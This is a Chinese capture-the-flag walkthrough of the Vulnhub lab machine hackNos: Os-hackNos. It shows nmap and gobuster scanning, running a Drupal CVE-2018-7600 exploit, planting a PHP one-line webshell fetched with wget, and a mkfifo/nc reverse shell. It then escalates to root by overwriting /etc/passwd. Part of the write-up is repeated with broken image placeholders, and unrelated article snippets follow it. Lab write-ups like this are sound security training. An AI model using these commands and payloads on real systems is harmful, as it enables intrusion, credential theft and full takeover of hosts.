hackNos靶机
靶机训练1 - hackNos: Os-hackNos
-
靶机平台
Vulnhub
- 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
靶机相关漏洞
前期准备
靶机介绍
- 靶机下载地址
- flag:2个flag第一个user.txt和第二个root.txt
- 学习内容:
- exploit(利用)
- Web Application(Web应用程序 )
- Enumeration(枚举)
- Privilege Escalation(权限提升)
靶机安装
- 从靶机下载地址下载靶机的镜像文件

- 打开vmware,直接导入(打开)虚拟机
- 有可能遇到的问题
- vmware的虚拟机无法使用桥接模式联网
- 原因
- vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
- VMware打开虚拟网络编程器
- 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡
- 有可能遇到的问题
第一步:启动靶机时按下 shift 键,
- 进入以下界面

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

ip a 查看一下实际用的网卡,这里是ens33

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33
- 按下 i 即可进入编辑模式

/etc/init.d/networking restart 重启网卡服务
- 启动靶机
- 靶机默认采用的是桥接模式

渗透流程
1.获取网段
- 扫描本地网段地址、
找到攻击目标的IP地址
kali命令
1.列出所有网段
netdiscover -i eth0 -r 192.168.31.0/24

-
或者通过nmap主机探测的获取其 IP地址
-
nmap -sP 192.168.31.0/24 -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现 在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口 不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
-

2.指定ip进行收集扫描详细信息,
nmap -sV -sC -A 192.168.16.249
-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.
-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中
-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

访问页面

2.目录扫描
使用kali下的gobuster工具扫描
gobuster dir -u http://192.168.16.249 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果访问
http://192.168.16.249/drupal

3.cms获取
浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),
cmseek扫描结果
cmseek -u http://192.168.16.249/drupal/


访问尝试
http://192.168.16.249/drupal/CHANGELOG.txt

4.exp搜索利用
github搜索

得到poc

kali下载:
git clone https://github.com/pimps/CVE-2018-7600

下载完成进入目录
执行py获取参数提示
python drupa7-CVE-2018-7600.py -h

该漏洞为远程代码执行

poc利用
python drupa7-CVE-2018-7600.py http://192.168.16.249/drupal/ -c whoami
-c可以执行命令
python drupa7-CVE-2018-7600.py http://192.168.16.249/drupal/ -c ls
列出文件

访问


进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

这里加上""号
python drupa7-CVE-2018-7600.py http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php"
看到数据库文件及密码

保存下来
这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

5.拿shell
1.首先创建你的一句话木马文件
<?php system($_POST['binge']); ?>
2.在exp测目录下开启python带的httpserver,查看ip
python -m SimpleHTTPServer
# 如果出现报错:Python – No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server

解释:
启动一个HTTP Server,然后通过访问该服务下载资源。
Python 的标准库中内置了Http Server, 可以通过如下方式使用:
对于 Python3,使用方式为:
python -m http.server # 默认端口号为8000
对于 Python2, 使用方式为:
python -m SimpleHTTPServer # 默认端口号为8000
在浏览器里输入http://localhost:端口 可以访问服务器下的资源。
正常访问:

新建终端,在靶场上传木马文件
- 借助命令wget
python drupa7-CVE-2018-7600.py http://192.168.16.249/drupal/ -c "wget http://192.168.16.180:8000/binge.php"
- 查看是否上传成功
python drupa7-CVE-2018-7600.py http://192.168.16.249/drupal/ -c ls

6.通过代理,抓包改包
访问上传成功的地址,带上后门的地址参数,抓包
http://192.168.16.249/drupal/binge.php?binge=id

发送到repeater模块

发送成功过去到id得出的命令数据

也可以执行其他命令
6.反弹shell
1.开启一个终端监听设置监听端口
nc -lvnp 9001
在burp中受害者反弹执行
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.16.249 9001 >/tmp/f

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:
不一致可以切换 shell
-
python3 -c 'import pty;pty.spawn("/bin/bash")'

成功得到反弹shell
ctrl+z将其放到后台中。

7.shell利用
查询当前用户及密码信息
cat /etc/passwd

查看当前存在的用户
cd /homels

看到有个james
james:x:1000:1000:james,,,:/home/james:/bin/bash
查看里面,发现有个user.txt,查看里面内容获取到第一个flag

尝试查看root 目录,发现没有权限
返回上一级目录,看到一个可疑文件 alexander.txt

base64解密

搜索后发现为Brainfuck加密

网上搜索解密:

尝试登录用户james,登录失败
无法进行登录

使用ssh进行连接
失败
ssh James@192.168.16.180

8.提权
只能使用提权了
wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下
1.把/etc/passwd下的文件全部复制下来

2.生成一个linux账号和密码
工具 kali下的openssl
openssl passwd -1 -salt sb 123456

账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1
新建一个passwd的文件,复制root,替换里面为新建的账号

开了 httpserver服务器
python -m http.server
访问 127.0.0.1:8000查看文件是否存在

在 shell 中通过wget命令下载并查看是否成功
wget http://192.168.16.180:8000/passwd -O /etc/passwd

wd -1 -salt sb 123456
[外链图片转存中...(img-lEXBfhjd-1691824534371)]
账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1
新建一个passwd的文件,复制root,替换里面为新建的账号[外链图片转存中...(img-4UQk0hen-1691824534371)]开了 httpserver服务器
python -m http.server
访问 127.0.0.1:8000查看文件是否存在[外链图片转存中...(img-1BWBKNjh-1691824534372)]在 shell 中通过wget命令下载并查看是否成功
wget http://192.168.16.180:8000/passwd -O /etc/passwd
[外链图片转存中...(img-A9IgylIi-1691824534372)]切换账号后,即可得到 root 权限
相关文章:
hackNos靶机
靶机训练1 - hackNos: Os-hackNos 靶机平台 Vulnhub 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目…...
取地址及 const取地址操作符重载
取地址及 const取地址操作符重载 #include <iostream> using namespace std;class A { public:A(int year, int month, int day){_year year;_month month;_day day;}//它们是默认成员函数,我们不写编译器会自动生成,自动生成就够用了ÿ…...
【Linux初阶】进程间通信介绍 管道
🌟hello,各位读者大大们你们好呀🌟 🍭🍭系列专栏:【Linux初阶】 ✒️✒️本篇内容:进程间通信介绍,管道概述,匿名管道应用,命名管道应用 🚢&#…...
App 在macOS Catalina下提示已损坏无法打开解决办法:
App 在macOS Catalina下提示已损坏无法打开解决办法: 打开终端; 输入以下命令,回车; sudo xattr -d com.apple.quarantine /Applications/xxxx.app注意:/Applications/xxxx.app 换成你的App路径(推荐直接…...
ad+硬件每日学习十个知识点(26)23.8.6 (DCDC的降压电路、升压电路、降压-升压电路,同步整流,选型考虑同步、隔离)
文章目录 1.DCDC的降压原理2.DCDC的升压原理3.DCDC的升压和降压原理4.什么是肖特基二极管造成的死区电压?5.MOS管有死区电压么?6.DCDC的同步整流(用MOS管取代整流二极管,避免死区电压的影响)7.DCDC选型——同步与非同步…...
Elasticsearch3节点集群配置账号密码安全验证
Elasticsearch3节点集群配置账号密码安全验证 ES配置文件 rootnode1:~# grep -Ev "^#|^$" /etc/elasticsearch/elasticsearch.yml cluster.name: es-pre node.name: node1 node.master: true node.data: true path.data: /data/elk/es/data path.logs: /data/elk/…...
ffmepg滤镜
视频按顺时针方向旋转90度 ffplay -vf transpose1 -i juren-30s.mp4 ffplay -f lavfi -i testsrc -vf transpose1 -f lavfi -i testsrc这个滤镜是ffmpeg给用户的一个测试使用的视频 视频水平翻转(左右翻转) -vf hflip 实现慢速播放,声音速度是原始速度的50% ffpla…...
Linux 基础(六)常用命令 - find locate which whereis gzip gunzip tar
find & locate & which & whereis & gzip & gunzip & tar findlocatewhichwhereisgzipgunzipzip/unziptar find 在指定目录下查找文件或目录 find --help Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...…...
【Ajax】回调地狱解决方法
回调地狱(Callback Hell)是指在异步编程中,特别是在嵌套的回调函数中,代码变得深度嵌套、难以阅读和维护的现象。这通常发生在处理多个异步操作时,每个操作都依赖于前一个操作的结果。回调地狱使代码变得难以理解、扩展…...
解决Vue根组件设置transition失效的问题
解决Vue根组件设置transition失效的问题 1.代码 <div id"app"><!-- :name"$route.meta.transitionName" --><transition :name"animation" mode"out-in"><router-view /></transition></div>&…...
【剑指 Offer 40】最小的k个数
题目: 输入整数数组 arr ,找出其中最小的 k 个数。例如,输入 4、5、1、6、2、7、3、8 这 8 个数字,则最小的 4 个数字是 1、2、3、4。 示例: 输入:arr [3,2,1], k 2 输出:[1,2] 或者 [2,1] …...
vue3+vite在main.ts文件中引入./App.vue报错(./App.vue不是模块)
问题 如下图: 方法一 下载TypeScript Vue Plugin (Volar)插件就不报红了,看它的描述应该就是ts文件可以识别vue文件。 方法二 在src文件夹下添加env.d.ts文件,添加以下代码: declare module *.vue {import type { DefineC…...
【LeetCode】102. 二叉树的层序遍历、107. 二叉树的层序遍历 II
作者:小卢 专栏:《Leetcode》 喜欢的话:世间因为少年的挺身而出,而更加瑰丽。 ——《人民日报》 102. 二叉树的层序遍历 102. 二叉树的层序遍历 给你二叉树的根节点 root ,返回其节…...
HTML详解连载(2)
HTML详解连载(2) 专栏链接 [link](http://t.csdn.cn/xF0H3)下面进行专栏介绍 开始喽超链接作用代码示例解释经验分享 音频标签代码示例注意强调 视频标签代码示例注意强调 列表作用:布局内容排列整齐的区域。分类:无序列表&#x…...
qt事件系统源码-----定时器
qt定时器的使用一般有以下几种方式: 1、直接使用QTimer对象,绑定定时器的timeout信号; 2、使用QTimer的静态方法singleshot方法,产生一个一次性的定时事件 3、在QObject子类中,调用startTimer方法,产生定…...
【Android】ViewBinding+DataBinding+MVVM新手快速上手
为什么写这篇博客 网上大部分博客,代码量都比较大,把实际的业务都代入进去了 这篇博客的目的,就是为了讲解基本原理和使用思路,然后给出一个最简单的Demo 这里不讲解具体用法,那样篇幅会太长,直接看Demo…...
生成式人工智能模型:提升营销分析用户体验
使用生成式人工智能来改善分析体验,使业务用户能够询问有关我们数据平台中可用数据的任何信息。 在本文中,我们将解释如何使用新的生成式人工智能模型 ( LLM ) 来改善业务用户在我们的分析平台上的体验。假设我们为零售销售经理提供 Web 应用程序或移动应…...
【并发编程】无锁环形队列Disruptor并发框架使用
Disruptor 是苹国外厂本易公司LMAX开发的一个高件能列,研发的初夷是解决内存队列的延识问顾在性能测试中发现竟然与10操作处于同样的数量级),基于Disruptor开发的系统单线程能支撑每秒600万订单,2010年在QCn演讲后,获得了业界关注…...
【C语言】初阶指针详解
大家好,我是苏貝,本篇博客带大家了解C语言中令人头疼的指针,如果大家觉得我写的不错的话,可以给我一个赞👍吗,感谢❤️ 使用的是VS2019编译器,默认为32位平台 文章目录 ①指针是什么②指针定义与…...
ElasticSearch:项目实战(1)
es环境搭建参考:ElasticSearch:环境搭建步骤_Success___的博客-CSDN博客 需求: 用户输入关键可搜索文章列表 关键词高亮显示 文章列表展示与home展示一样,当用户点击某一篇文章,可查看文章详情 思路: …...
Java虚拟线程在百万QPS网关中的真实压测报告(2024阿里/美团内部灰度数据首次公开)
第一章:Java 25 虚拟线程在高并发架构下的实践 面试题汇总虚拟线程(Virtual Threads)作为 Java 21 引入、Java 25 全面成熟的轻量级并发原语,正深刻重构高并发服务的线程模型设计范式。相比传统平台线程,虚拟线程由 JV…...
TlbbGmTool:5分钟上手,轻松管理天龙八部单机版游戏数据
TlbbGmTool:5分钟上手,轻松管理天龙八部单机版游戏数据 【免费下载链接】TlbbGmTool 某网络游戏的单机版本GM工具 项目地址: https://gitcode.com/gh_mirrors/tl/TlbbGmTool 还在为管理《天龙八部》单机版游戏数据而烦恼吗?是否每次调…...
Cesium加载GeoJSON数据避坑指南:从阿里云DataV获取中国地图到3D可视化
Cesium实战:高效加载与优化GeoJSON中国地图的完整方案 当我们需要在三维地球场景中展示行政区划数据时,GeoJSON无疑是最常用的格式之一。但在实际项目中,从数据获取到最终呈现,开发者往往会遇到各种预料之外的挑战。本文将分享一套…...
从‘围成面积’到图像处理:用C++实现连通域分析与面积计算(信息学奥赛题拓展)
从网格到像素:C连通域分析在图像处理中的实战演进 第一次接触连通域问题时,我盯着那个10x10的网格看了整整半小时——那些简单的0和1背后隐藏着怎样的数学之美?后来才发现,这不仅是信息学奥赛的一道题目,更是计算机视觉…...
2025届最火的五大降重复率神器解析与推荐
Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 用于极大助力写作的辅助工具一键论文生成器,借助先进智能算法与自然语言处理技术…...
城通网盘下载加速终极指南:3步解锁全速下载的免费开源方案
城通网盘下载加速终极指南:3步解锁全速下载的免费开源方案 【免费下载链接】ctfileGet 获取城通网盘一次性直连地址 项目地址: https://gitcode.com/gh_mirrors/ct/ctfileGet 还在为城通网盘几十KB/s的龟速下载而烦恼吗?面对几个G的大文件&#x…...
SAP批次管理不止于追溯:如何用批次分割、双单位玩转库存与销售分析
SAP批次管理高阶实战:从基础配置到业务赋能的深度解析 引言:重新定义批次管理的价值边界 在化工行业的一次季度复盘会上,某跨国企业的供应链总监指着报表上一组数据问道:"为什么同一批原料在不同包装规格下的周转率差异达到3…...
你的密码字典真的够强吗?用Hydra搭配Seclists定制专属攻击字典
密码字典的终极进化:从通用词库到精准爆破的艺术 在渗透测试的世界里,密码爆破就像一场精心策划的狩猎——而你的字典质量直接决定了是满载而归还是空手而回。太多安全从业者沉迷于工具的使用技巧,却忽视了最基础也最关键的环节:字…...
别再踩坑了!微信小程序this.setData修改对象属性的两种正确姿势(附数组场景)
微信小程序this.setData操作对象属性的深度避坑指南 刚接触微信小程序开发时,我曾在this.setData修改对象属性上栽过不少跟头。记得有一次深夜调试,明明逻辑看起来没问题,页面却始终不更新,最后发现是对象属性修改方式不当导致的。…...
终极指南:5步掌握浏览器请求头自定义与修改技巧
终极指南:5步掌握浏览器请求头自定义与修改技巧 【免费下载链接】HeaderEditor Manage browsers requests, include modify the request headers, response headers, response body, redirect requests, cancel requests 项目地址: https://gitcode.com/gh_mirror…...
